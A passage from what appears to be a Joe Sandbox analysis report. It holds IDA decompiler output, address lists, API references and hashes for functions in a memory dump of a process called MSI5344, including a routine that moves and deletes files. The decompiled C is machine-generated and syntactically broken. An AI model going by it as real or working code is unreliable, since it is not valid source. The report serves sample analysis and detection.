				E00007FF77FF7AF7121C8(0, _t134, _t150);
				goto 0xaf711af3;
				E00007FF77FF7AF711E28( *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x18)) - 8)), _t134);
				if (0 == 0) goto 0xaf711b20;
				if ( *((intOrPtr*)(_t134 + 0x48)) == 0) goto 0xaf711b11;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x40)))) == 0x30) goto 0xaf711b20;
				 *((long long*)(_t134 + 0x40)) =  *((long long*)(_t134 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t134 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t134 + 0x48)) =  *((intOrPtr*)(_t134 + 0x48)) + 1;
				return 1;
			}

0x7ff7af71194c
0x7ff7af711951
0x7ff7af711956
0x7ff7af711960
0x7ff7af711963
0x7ff7af711966
0x7ff7af711969
0x7ff7af71196c
0x7ff7af711972
0x7ff7af711974
0x7ff7af711976
0x7ff7af71197f
0x7ff7af711988
0x7ff7af71198d
0x7ff7af711996
0x7ff7af71199c
0x7ff7af7119a4
0x7ff7af7119be
0x7ff7af7119c3
0x7ff7af7119cb
0x7ff7af7119d2
0x7ff7af7119d8
0x7ff7af7119df
0x7ff7af7119ec
0x7ff7af7119fc
0x7ff7af711a03
0x7ff7af711a09
0x7ff7af711a13
0x7ff7af711a1d
0x7ff7af711a24
0x7ff7af711a2b
0x7ff7af711a31
0x7ff7af711a36
0x7ff7af711a3f
0x7ff7af711a48
0x7ff7af711a4e
0x7ff7af711a53
0x7ff7af711a57
0x7ff7af711a5a
0x7ff7af711a61
0x7ff7af711a65
0x7ff7af711a70
0x7ff7af711a75
0x7ff7af711a7b
0x7ff7af711a82
0x7ff7af711a8f
0x7ff7af711a9f
0x7ff7af711aa1
0x7ff7af711aa5
0x7ff7af711aad
0x7ff7af711abd
0x7ff7af711ac4
0x7ff7af711acc
0x7ff7af711ace
0x7ff7af711ad2
0x7ff7af711ad6
0x7ff7af711ae0
0x7ff7af711ae5
0x7ff7af711aea
0x7ff7af711aee
0x7ff7af711afb
0x7ff7af711b06
0x7ff7af711b0f
0x7ff7af711b11
0x7ff7af711b1a
0x7ff7af711b1d
0x7ff7af711b36

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcedc787ec986353709fc35909a49ecf16803d76dcb5eece98490e57b010fe2e
Instruction ID: 91bd4d7013cb46578077c95027d40946f25b0e6efd64e6eb0e31e6e5a61302ef
Opcode Fuzzy Hash: fcedc787ec986353709fc35909a49ecf16803d76dcb5eece98490e57b010fe2e
Instruction Fuzzy Hash: AA51E63BA09DD182E7289E24C0546BCA7A4EB59B5CFD60235CE4D1B7F8CB68EC45C394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF720018 Relevance: .1, Instructions: 126
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7AF720018(signed int __edx, void* __edi, void* __esp, long long __rbx, signed long long*** __rcx, long long __rsi) {
				void* _t24;
				int _t26;
				signed int _t51;
				void* _t52;
				signed long long _t66;
				signed int* _t73;
				signed long long _t75;
				signed long long _t77;
				signed long long _t78;
				signed long long _t95;
				signed long long _t96;
				signed long long _t98;
				signed long long _t104;
				long long _t115;
				void* _t117;
				void* _t120;
				signed long long* _t123;
				signed long long _t124;
				signed long long _t126;
				signed long long _t129;
				signed long long*** _t132;

				_t52 = __edi;
				_t51 = __edx;
				 *((long long*)(_t117 + 0x10)) = __rbx;
				 *((long long*)(_t117 + 0x18)) = _t115;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t66 =  *((intOrPtr*)(__rcx));
				_t132 = __rcx;
				_t73 =  *_t66;
				if (_t73 == 0) goto 0xaf7201ac;
				_t124 =  *0xaf751030; // 0xa13e9e6732fb
				_t111 =  *_t73 ^ _t124;
				asm("dec eax");
				_t75 = _t73[4] ^ _t124;
				asm("dec ecx");
				asm("dec eax");
				if ((_t73[2] ^ _t124) != _t75) goto 0xaf72011e;
				_t77 = _t75 - ( *_t73 ^ _t124) >> 3;
				_t101 =  >  ? _t66 : _t77;
				_t6 = _t115 + 0x20; // 0x20
				_t102 = ( >  ? _t66 : _t77) + _t77;
				_t103 =  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77;
				if (( ==  ? _t66 : ( >  ? _t66 : _t77) + _t77) - _t77 < 0) goto 0xaf7200ba;
				_t7 = _t115 + 8; // 0x8
				r8d = _t7;
				E00007FF77FF7AF70F23C(_t6, _t77, _t111,  ==  ? _t66 : ( >  ? _t66 : _t77) + _t77, _t111, _t115, _t120);
				_t24 = E00007FF77FF7AF722110(_t66, _t111);
				if (_t66 != 0) goto 0xaf7200e2;
				_t104 = _t77 + 4;
				r8d = 8;
				E00007FF77FF7AF70F23C(_t24, _t77, _t111, _t104, _t111, _t115, _t120);
				_t129 = _t66;
				_t26 = E00007FF77FF7AF722110(_t66, _t111);
				if (_t129 == 0) goto 0xaf7201ac;
				_t123 = _t129 + _t77 * 8;
				_t78 = _t129 + _t104 * 8;
				_t88 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				_t64 =  >  ? _t115 : _t78 - _t123 + 7 >> 3;
				if (( >  ? _t115 : _t78 - _t123 + 7 >> 3) == 0) goto 0xaf72011e;
				memset(_t52, _t26, 0 << 0);
				_t126 =  *0xaf751030; // 0xa13e9e6732fb
				r8d = 0x40;
				_t14 =  &(_t123[1]); // 0x7ff7af6d1025
				asm("dec eax");
				 *_t123 =  *(_t132[1]) ^ _t126;
				_t95 =  *0xaf751030; // 0xa13e9e6732fb
				asm("dec eax");
				 *( *( *_t132)) = _t129 ^ _t95;
				_t96 =  *0xaf751030; // 0xa13e9e6732fb
				asm("dec eax");
				( *( *_t132))[1] = _t14 ^ _t96;
				_t98 =  *0xaf751030; // 0xa13e9e6732fb
				r8d = r8d - (_t51 & 0x0000003f);
				asm("dec eax");
				( *( *_t132))[2] = _t78 ^ _t98;
				goto 0xaf7201af;
				return 0xffffffff;
			}

0x7ff7af720018
0x7ff7af720018
0x7ff7af720018
0x7ff7af72001d
0x7ff7af720022
0x7ff7af720030
0x7ff7af720035
0x7ff7af720038
0x7ff7af72003e
0x7ff7af720044
0x7ff7af72005c
0x7ff7af720062
0x7ff7af720065
0x7ff7af720068
0x7ff7af72006b
0x7ff7af720071
0x7ff7af72007f
0x7ff7af720089
0x7ff7af72008d
0x7ff7af720090
0x7ff7af720093
0x7ff7af72009a
0x7ff7af72009c
0x7ff7af72009c
0x7ff7af7200a6
0x7ff7af7200b0
0x7ff7af7200b8
0x7ff7af7200ba
0x7ff7af7200be
0x7ff7af7200ca
0x7ff7af7200d1
0x7ff7af7200d4
0x7ff7af7200dc
0x7ff7af7200e9
0x7ff7af7200ed
0x7ff7af720105
0x7ff7af720109
0x7ff7af72010c
0x7ff7af720114
0x7ff7af720117
0x7ff7af72011e
0x7ff7af720124
0x7ff7af72013d
0x7ff7af720143
0x7ff7af720146
0x7ff7af720159
0x7ff7af720162
0x7ff7af720168
0x7ff7af720179
0x7ff7af720182
0x7ff7af720186
0x7ff7af720192
0x7ff7af72019b
0x7ff7af7201a6
0x7ff7af7201aa
0x7ff7af7201c7

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2417662eb96996d68b82449d6e6e8aa40b90c551c03cfc97051a9c603d5f9c34
Instruction ID: 33fd50516f47ba68a51cbbd8978704b8bfa7aa943e9f6644212904a4a8afc543
Opcode Fuzzy Hash: 2417662eb96996d68b82449d6e6e8aa40b90c551c03cfc97051a9c603d5f9c34
Instruction Fuzzy Hash: 0641E726716A9841EF04DF66D9141A9B3A1FB4CFC4BCA9032DE0D97B68DE7CC0458310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D460E Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 340
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E00007FF77FF7AF6D460E(int __ecx, signed int __edx, void* __esp, void* __rbx, void* __rdi, signed int __r12, void* __r14, signed int __r15) {
				signed int _t148;
				void* _t153;
				int _t155;
				signed int _t157;
				signed long long _t234;
				signed long long _t236;
				signed long long _t241;
				signed long long _t244;
				signed long long _t247;
				signed long long _t250;
				void* _t254;
				signed long long _t268;
				signed long long _t269;
				intOrPtr _t276;
				intOrPtr _t277;
				signed long long _t280;
				intOrPtr _t281;
				intOrPtr _t282;
				signed long long _t283;
				intOrPtr _t284;
				signed long long _t287;
				intOrPtr _t288;
				intOrPtr _t289;
				intOrPtr _t290;
				void* _t297;
				void* _t302;
				void* _t304;
				intOrPtr _t321;
				intOrPtr _t322;
				signed long long _t327;
				void* _t329;
				signed long long _t331;
				signed long long _t334;
				signed long long _t338;

				_t254 = __rbx;
				_t157 = __edx;
				_t155 = __ecx;
				asm("adc [ebp-0x48], eax");
				goto 0xaf6d4654;
				_t327 =  >  ? 0xfffffffe : __r12 | 0x00000007;
				E00007FF77FF7AF6D2430(_t327 + 1);
				 *((long long*)(_t329 - 0x48)) = 0xfffffffe;
				E00007FF77FF7AF70AFB0();
				 *(_t329 - 0x38) = __r12;
				 *(_t329 - 0x30) = _t327;
				0xaf6d9340();
				E00007FF77FF7AF6D97E0(__rbx, _t331 + 0x78, 0xfffffffe);
				if (r13b == 0) goto 0xaf6d46b4;
				if (2 + __r15 * 2 - 0x1000 < 0) goto 0xaf6d46a6;
				_t321 =  *((intOrPtr*)(__rdi - 8));
				if (__rdi - _t321 - 8 - 0x1f > 0) goto 0xaf6d4b2c;
				if (_t321 == 0) goto 0xaf6d46b4;
				LocalFree(??);
				 *(_t329 - 0x18) = _t327;
				 *((long long*)(_t329 - 0x10)) = 7;
				 *((short*)(_t329 - 0x28)) = 0;
				 *(_t329 - 0x68) = _t327;
				 *(_t329 - 0x58) = _t327;
				 *(_t329 - 0x50) = _t327;
				 *(_t329 - 0x58) = _t327;
				 *(_t329 - 0x50) = 7;
				 *(_t329 - 0x68) = 0;
				_t24 = _t327 + 3; // 0x3
				r8d = _t24;
				_t297 = L"url";
				E00007FF77FF7AF6D2000(_t254, _t329 - 0x68, _t297, _t327, _t329, 2 + __r12 * 2);
				_t265 =  >=  ?  *(_t329 - 0x68) : _t329 - 0x68;
				_t174 =  *((short*)( >=  ?  *(_t329 - 0x68) : _t329 - 0x68)) - 0x2e;
				if ( *((short*)( >=  ?  *(_t329 - 0x68) : _t329 - 0x68)) != 0x2e) goto 0xaf6d4757;
				_t334 =  *(_t329 - 0x58);
				if ((_t157 & 0xffffff00 |  *(_t329 - 0x50) - 0x00000008 >= 0x00000000) == 0) goto 0xaf6d472d;
				_t298 =  <  ? _t334 - _t327 : _t297;
				goto 0xaf6d4738;
				_t299 =  <  ? _t334 :  <  ? _t334 - _t327 : _t297;
				_t335 = _t334 - ( <  ? _t334 :  <  ? _t334 - _t327 : _t297);
				 *(_t329 - 0x58) = _t334 - ( <  ? _t334 :  <  ? _t334 - _t327 : _t297);
				E00007FF77FF7AF70AFB0();
				_t338 =  *(_t329 - 0x78);
				_t322 =  *((intOrPtr*)(_t331 + 0x78));
				if (_t338 == 0) goto 0xaf6d47b3;
				_t268 = _t338 - 1;
				if (_t268 == 0xffffffff) goto 0xaf6d482c;
				_t227 =  !=  ? _t322 : _t331 + 0x78;
				if ( *((short*)(( !=  ? _t322 : _t331 + 0x78) + _t268 * 2)) == 0x5c) goto 0xaf6d482c;
				_t229 =  !=  ? _t322 : _t331 + 0x78;
				if ( *((short*)(( !=  ? _t322 : _t331 + 0x78) + _t268 * 2)) == 0x2e) goto 0xaf6d47b3;
				_t269 = _t268 - 1;
				if (_t269 != 0xffffffff) goto 0xaf6d4780;
				goto 0xaf6d482c;
				if (_t269 == 0xffffffff) goto 0xaf6d482c;
				if (_t269 - _t338 > 0) goto 0xaf6d47d5;
				_t231 =  >=  ? _t322 : _t331 + 0x78;
				 *(_t329 - 0x78) = _t269;
				 *((short*)(( >=  ? _t322 : _t331 + 0x78) + _t269 * 2)) = 0;
				goto 0xaf6d482c;
				_t302 = _t269 - _t338;
				if (_t302 -  *((intOrPtr*)(_t329 - 0x70)) - _t338 > 0) goto 0xaf6d4814;
				 *(_t329 - 0x78) = _t269;
				_t344 =  >=  ? _t322 : _t331 + 0x78;
				if (_t302 == 0) goto 0xaf6d4809;
				memset(0, 0, _t155);
				_t234 = _t338 + _t302;
				 *((short*)(( >=  ? _t322 : _t331 + 0x78) + _t234 * 2)) = 0;
				goto 0xaf6d482c;
				 *((short*)(_t331 + 0x20)) = 0;
				r8d =  *(_t331 + 0x30) & 0x000000ff;
				E00007FF77FF7AF6D3840(0, 0 + _t155, __esp + 0xc, _t254, _t331 + 0x78, _t302, _t327, _t329, _t302, __r12);
				E00007FF77FF7AF6D3480(0x2e, _t254, _t331 + 0x78);
				_t304 =  >=  ?  *(_t329 - 0x68) : _t329 - 0x68;
				E00007FF77FF7AF6D3660(_t331 + 0x78, ( >=  ? _t322 : _t331 + 0x78) + _t338 * 2, _t327,  *(_t329 - 0x58));
				E00007FF77FF7AF6D8FA0(0, 0, _t254, _t331 + 0x78, _t329 - 0x48,  *(_t329 - 0x58));
				if ( *((long long*)(_t234 + 0x18)) - 8 < 0) goto 0xaf6d4870;
				dil = MoveFileW(??, ??) == 0;
				_t236 =  *(_t329 - 0x30);
				if (_t236 - 8 < 0) goto 0xaf6d48c4;
				_t276 =  *((intOrPtr*)(_t329 - 0x48));
				if (2 + _t236 * 2 - 0x1000 < 0) goto 0xaf6d48b9;
				_t277 =  *((intOrPtr*)(_t276 - 8));
				if (_t276 - _t277 - 8 - 0x1f > 0) goto 0xaf6d4b1a;
				if (_t277 == 0) goto 0xaf6d48c4;
				LocalFree(??);
				 *(_t329 - 0x38) = _t327;
				 *(_t329 - 0x30) = 7;
				 *((short*)(_t329 - 0x48)) = 0;
				if (dil == 0) goto 0xaf6d4a18;
				0xaf6d44f0();
				_t148 = DeleteFileW(??);
				asm("movups xmm0, [ebp-0x48]");
				asm("movups [ebx], xmm0");
				asm("movups xmm1, [ebp-0x38]");
				asm("movups [ebx+0x10], xmm1");
				asm("movdqa xmm0, [0x72c35]");
				asm("movdqu [ebp-0x38], xmm0");
				 *((short*)(_t329 - 0x48)) = 0;
				 *((intOrPtr*)(_t331 + 0x34)) = 1;
				_t280 =  *(_t329 - 0x30);
				if ((_t148 & 0xffffff00 | _t280 - 0x00000008 >= 0x00000000) == 0) goto 0xaf6d4972;
				_t281 =  *((intOrPtr*)(_t329 - 0x48));
				if (2 + _t280 * 2 - 0x1000 < 0) goto 0xaf6d4967;
				_t282 =  *((intOrPtr*)(_t281 - 8));
				if (_t281 - _t282 - 8 - 0x1f > 0) goto 0xaf6d4b20;
				if (_t282 == 0) goto 0xaf6d4972;
				LocalFree(??);
				asm("movdqa xmm0, [0x72bd6]");
				asm("movdqu [ebp-0x38], xmm0");
				 *((short*)(_t329 - 0x48)) = 0;
				_t241 =  *(_t329 - 0x50);
				if (_t241 - 8 < 0) goto 0xaf6d49c4;
				_t283 =  *(_t329 - 0x68);
				if (2 + _t241 * 2 - 0x1000 < 0) goto 0xaf6d49b9;
				_t284 =  *((intOrPtr*)(_t283 - 8));
				if (_t283 - _t284 - 8 - 0x1f > 0) goto 0xaf6d4b26;
				if (_t284 == 0) goto 0xaf6d49c4;
				LocalFree(??);
				 *(_t329 - 0x58) = _t327;
				 *(_t329 - 0x50) = 7;
				 *(_t329 - 0x68) = 0;
				_t244 =  *((intOrPtr*)(_t329 - 0x70));
				if (_t244 - 8 < 0) goto 0xaf6d4ad0;
				if (2 + _t244 * 2 - 0x1000 < 0) goto 0xaf6d4ac5;
				if ( *((intOrPtr*)(_t331 + 0x78)) -  *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x78)) - 8)) - 8 - 0x1f > 0) goto 0xaf6d4b14;
				goto 0xaf6d4ac5;
				asm("movups xmm0, [esp+0x78]");
				asm("movups [ebx], xmm0");
				asm("movups xmm1, [ebp-0x78]");
				asm("movups [ebx+0x10], xmm1");
				 *(_t329 - 0x78) = _t327;
				 *((long long*)(_t329 - 0x70)) = 7;
				 *((short*)(_t331 + 0x78)) = 0;
				 *((intOrPtr*)(_t331 + 0x34)) = 1;
				_t247 =  *(_t329 - 0x50);
				if (_t247 - 8 < 0) goto 0xaf6d4a82;
				_t287 =  *(_t329 - 0x68);
				if (2 + _t247 * 2 - 0x1000 < 0) goto 0xaf6d4a77;
				_t288 =  *((intOrPtr*)(_t287 - 8));
				if (_t287 - _t288 - 8 - 0x1f > 0) goto 0xaf6d4b2c;
				if (_t288 == 0) goto 0xaf6d4a82;
				LocalFree(??);
				 *(_t329 - 0x58) = _t327;
				 *(_t329 - 0x50) = 7;
				 *(_t329 - 0x68) = 0;
				_t250 =  *((intOrPtr*)(_t329 - 0x70));
				if (_t250 - 8 < 0) goto 0xaf6d4ad0;
				_t289 =  *((intOrPtr*)(_t331 + 0x78));
				if (2 + _t250 * 2 - 0x1000 < 0) goto 0xaf6d4ac5;
				_t290 =  *((intOrPtr*)(_t289 - 8));
				if (_t289 - _t290 - 8 - 0x1f > 0) goto 0xaf6d4b0e;
				if (_t290 == 0) goto 0xaf6d4ad0;
				_t153 = LocalFree(??);
				 *((short*)(_t331 + 0x78)) = 0;
				 *((long long*)(_t329 - 0x70)) = 7;
				 *(_t329 - 0x78) = _t327;
				return E00007FF77FF7AF708B70(_t153, 0,  *(_t329 + 0x210) ^ _t331);
			}

0x7ff7af6d460e
0x7ff7af6d460e
0x7ff7af6d460e
0x7ff7af6d460e
0x7ff7af6d4616
0x7ff7af6d462c
0x7ff7af6d4638
0x7ff7af6d463d
0x7ff7af6d464f
0x7ff7af6d4654
0x7ff7af6d4658
0x7ff7af6d4665
0x7ff7af6d4673
0x7ff7af6d467c
0x7ff7af6d468f
0x7ff7af6d4691
0x7ff7af6d46a0
0x7ff7af6d46a9
0x7ff7af6d46ae
0x7ff7af6d46b6
0x7ff7af6d46ba
0x7ff7af6d46c2
0x7ff7af6d46c6
0x7ff7af6d46ca
0x7ff7af6d46ce
0x7ff7af6d46d2
0x7ff7af6d46d6
0x7ff7af6d46de
0x7ff7af6d46e2
0x7ff7af6d46e2
0x7ff7af6d46e6
0x7ff7af6d46f1
0x7ff7af6d4707
0x7ff7af6d470b
0x7ff7af6d470f
0x7ff7af6d4711
0x7ff7af6d471c
0x7ff7af6d4727
0x7ff7af6d472b
0x7ff7af6d4730
0x7ff7af6d473c
0x7ff7af6d473f
0x7ff7af6d4752
0x7ff7af6d4757
0x7ff7af6d4762
0x7ff7af6d476a
0x7ff7af6d476c
0x7ff7af6d4773
0x7ff7af6d4787
0x7ff7af6d4790
0x7ff7af6d479d
0x7ff7af6d47a6
0x7ff7af6d47a8
0x7ff7af6d47af
0x7ff7af6d47b1
0x7ff7af6d47b7
0x7ff7af6d47bc
0x7ff7af6d47c7
0x7ff7af6d47cb
0x7ff7af6d47cf
0x7ff7af6d47d3
0x7ff7af6d47d8
0x7ff7af6d47e4
0x7ff7af6d47e6
0x7ff7af6d47f3
0x7ff7af6d47fe
0x7ff7af6d4806
0x7ff7af6d4809
0x7ff7af6d480d
0x7ff7af6d4812
0x7ff7af6d4814
0x7ff7af6d481c
0x7ff7af6d4827
0x7ff7af6d4836
0x7ff7af6d4844
0x7ff7af6d4852
0x7ff7af6d4860
0x7ff7af6d486b
0x7ff7af6d487f
0x7ff7af6d4883
0x7ff7af6d488b
0x7ff7af6d4895
0x7ff7af6d48a2
0x7ff7af6d48a4
0x7ff7af6d48b3
0x7ff7af6d48bc
0x7ff7af6d48be
0x7ff7af6d48c4
0x7ff7af6d48c8
0x7ff7af6d48d0
0x7ff7af6d48d7
0x7ff7af6d48f4
0x7ff7af6d48fe
0x7ff7af6d4904
0x7ff7af6d4908
0x7ff7af6d490b
0x7ff7af6d490f
0x7ff7af6d4913
0x7ff7af6d491b
0x7ff7af6d4920
0x7ff7af6d4924
0x7ff7af6d492c
0x7ff7af6d4939
0x7ff7af6d4943
0x7ff7af6d4950
0x7ff7af6d4952
0x7ff7af6d4961
0x7ff7af6d496a
0x7ff7af6d496c
0x7ff7af6d4972
0x7ff7af6d497a
0x7ff7af6d497f
0x7ff7af6d4983
0x7ff7af6d498b
0x7ff7af6d4995
0x7ff7af6d49a2
0x7ff7af6d49a4
0x7ff7af6d49b3
0x7ff7af6d49bc
0x7ff7af6d49be
0x7ff7af6d49c4
0x7ff7af6d49c8
0x7ff7af6d49d0
0x7ff7af6d49d4
0x7ff7af6d49dc
0x7ff7af6d49f8
0x7ff7af6d4a0d
0x7ff7af6d4a13
0x7ff7af6d4a18
0x7ff7af6d4a1d
0x7ff7af6d4a20
0x7ff7af6d4a24
0x7ff7af6d4a28
0x7ff7af6d4a2c
0x7ff7af6d4a34
0x7ff7af6d4a39
0x7ff7af6d4a41
0x7ff7af6d4a49
0x7ff7af6d4a53
0x7ff7af6d4a60
0x7ff7af6d4a62
0x7ff7af6d4a71
0x7ff7af6d4a7a
0x7ff7af6d4a7c
0x7ff7af6d4a82
0x7ff7af6d4a86
0x7ff7af6d4a8e
0x7ff7af6d4a92
0x7ff7af6d4a9a
0x7ff7af6d4aa4
0x7ff7af6d4ab2
0x7ff7af6d4ab4
0x7ff7af6d4ac3
0x7ff7af6d4ac8
0x7ff7af6d4aca
0x7ff7af6d4ad0
0x7ff7af6d4ad5
0x7ff7af6d4add
0x7ff7af6d4b0d

APIs

Part of subcall function 00007FF7AF6D8FA0: LocalFree.KERNEL32 ref: 00007FF7AF6D94AC

LocalFree.KERNEL32 ref: 00007FF7AF6D46AE
MoveFileW.KERNEL32 ref: 00007FF7AF6D4877
LocalFree.KERNEL32 ref: 00007FF7AF6D48BE
DeleteFileW.KERNEL32 ref: 00007FF7AF6D48FE
LocalFree.KERNEL32 ref: 00007FF7AF6D496C
LocalFree.KERNEL32 ref: 00007FF7AF6D49BE
LocalFree.KERNEL32 ref: 00007FF7AF6D4A7C
LocalFree.KERNEL32 ref: 00007FF7AF6D4ACA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4B0E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4B14
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4B1A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4B20
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4B26
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D4B2C

Strings

URL, xrefs: 00007FF7AF6D48E4
url, xrefs: 00007FF7AF6D46E6, 00007FF7AF6D48DD

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal$_invalid_parameter_noinfo_noreturn$File$DeleteMove
String ID: URL$url
API String ID: 1227481986-346267919
Opcode ID: 589aa1e536bd6ed1f1eb72d682296846422880d84ebe3d11b63987051f4c60a3
Instruction ID: c538060e6ed554ec7d3377eab5daf3d7daec5eb1d276a207516fc6710b22689f
Opcode Fuzzy Hash: 589aa1e536bd6ed1f1eb72d682296846422880d84ebe3d11b63987051f4c60a3
Instruction Fuzzy Hash: 85E19122B1ABC284FB14EBA4D4483ECA376EB44798F921132DA4D17AB9DF7CD595C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DFC90 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 266
memoryCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF77FF7AF6DFC90(long long __rcx, void* __rdx, intOrPtr* __r8) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t74;
				signed long long _t102;
				long long _t106;
				intOrPtr _t112;
				signed long long _t118;
				signed long long _t125;
				intOrPtr _t132;
				intOrPtr _t133;
				signed long long _t136;
				intOrPtr _t137;
				void* _t141;
				void* _t147;
				long long* _t155;
				void* _t156;
				void* _t157;
				signed long long _t163;
				signed long long _t164;

				_t156 = _t157 - 0x27;
				_t102 =  *0xaf751030; // 0xa13e9e6732fb
				 *(_t156 + 0x1f) = _t102 ^ _t157 - 0x000000c0;
				_t155 = __rcx;
				 *((long long*)(_t156 - 0x39)) = __rcx;
				r12d = 0;
				 *((intOrPtr*)(_t156 - 0x79)) = r12d;
				 *((long long*)(_t156 - 0x31)) = _t156 - 0x71;
				 *(_t156 - 0x71) = _t163;
				 *(_t156 - 0x61) = _t163;
				 *(_t156 - 0x59) = _t163;
				_t164 =  *((intOrPtr*)(__r8 + 0x10));
				if ( *((long long*)(__r8 + 0x18)) - 0x10 < 0) goto 0xaf6dfceb;
				_t154 =  *__r8;
				if (_t164 - 0x10 >= 0) goto 0xaf6dfd02;
				asm("movups xmm0, [edi]");
				asm("movups [ebp-0x71], xmm0");
				goto 0xaf6dfd84;
				_t125 =  >  ? 0xffffffff : _t164 | 0x0000000f;
				_t141 = _t125 + 1;
				if (_t141 - 0x1000 < 0) goto 0xaf6dfd5c;
				_t106 = _t141 + 0x27;
				if (_t106 - _t141 <= 0) goto 0xaf6dff45;
				LocalAlloc(??, ??);
				if (_t106 == 0) goto 0xaf6dff4b;
				 *((long long*)((_t106 + 0x00000027 & 0xffffffe0) - 8)) = _t106;
				goto 0xaf6dfd71;
				if (_t106 == 0) goto 0xaf6dfd6e;
				LocalAlloc(??, ??);
				goto 0xaf6dfd71;
				 *(_t156 - 0x71) = _t163;
				E00007FF77FF7AF70AFB0();
				 *(_t156 - 0x61) = _t164;
				 *(_t156 - 0x59) = _t125;
				 *((long long*)(_t156 - 0x29)) = _t156 - 0x71;
				asm("inc ecx");
				asm("movaps [ebp-0x49], xmm0");
				if ( *(_t156 - 0x61) == 0) goto 0xaf6dfdbc;
				r8d = 2;
				E00007FF77FF7AF6DFB00(_t125, _t156 - 0x71, __rcx, _t164 + 1);
				r8d =  *((intOrPtr*)(_t156 - 0x49));
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t156 - 0x41)))) + 0x10))();
				 *((intOrPtr*)(_t156 - 0x79)) = 2;
				_t147 =  >=  ?  *((void*)(_t156 - 1)) : _t156 - 1;
				E00007FF77FF7AF6DFB00(_t125, _t156 - 0x71, _t155,  *(_t156 + 0xf));
				 *((intOrPtr*)(_t156 - 0x79)) = 2;
				_t112 =  *((intOrPtr*)(_t156 + 0x17));
				if (_t112 - 0x10 < 0) goto 0xaf6dfe2e;
				_t132 =  *((intOrPtr*)(_t156 - 1));
				if (_t112 + 1 - 0x1000 < 0) goto 0xaf6dfe23;
				_t133 =  *((intOrPtr*)(_t132 - 8));
				if (_t132 - _t133 - 8 - 0x1f > 0) goto 0xaf6dff51;
				if (_t133 == 0) goto 0xaf6dfe2e;
				LocalFree(??);
				 *(_t156 + 0xf) = _t163;
				 *((long long*)(_t156 + 0x17)) = 0xf;
				 *((char*)(_t156 - 1)) = 0;
				 *(_t156 - 0x21) = _t163;
				 *(_t156 - 0x11) = _t163;
				 *(_t156 - 9) = _t163;
				asm("movups xmm0, [ebp-0x71]");
				asm("movups [ebp-0x21], xmm0");
				asm("movups xmm1, [ebp-0x61]");
				asm("movups [ebp-0x11], xmm1");
				 *(_t156 - 0x61) = _t163;
				 *(_t156 - 0x59) = 0xf;
				 *(_t156 - 0x71) = 0;
				 *((intOrPtr*)(_t156 - 0x79)) = 1;
				 *(_t156 - 0x71) = 0;
				 *(_t156 - 0x61) = _t163;
				 *(_t156 - 0x59) = 0xf;
				_t116 =  >=  ?  *(_t156 - 0x21) : _t156 - 0x21;
				 *_t155 = 0xaf7356d0;
				asm("xorps xmm0, xmm0");
				asm("movups [edx], xmm0");
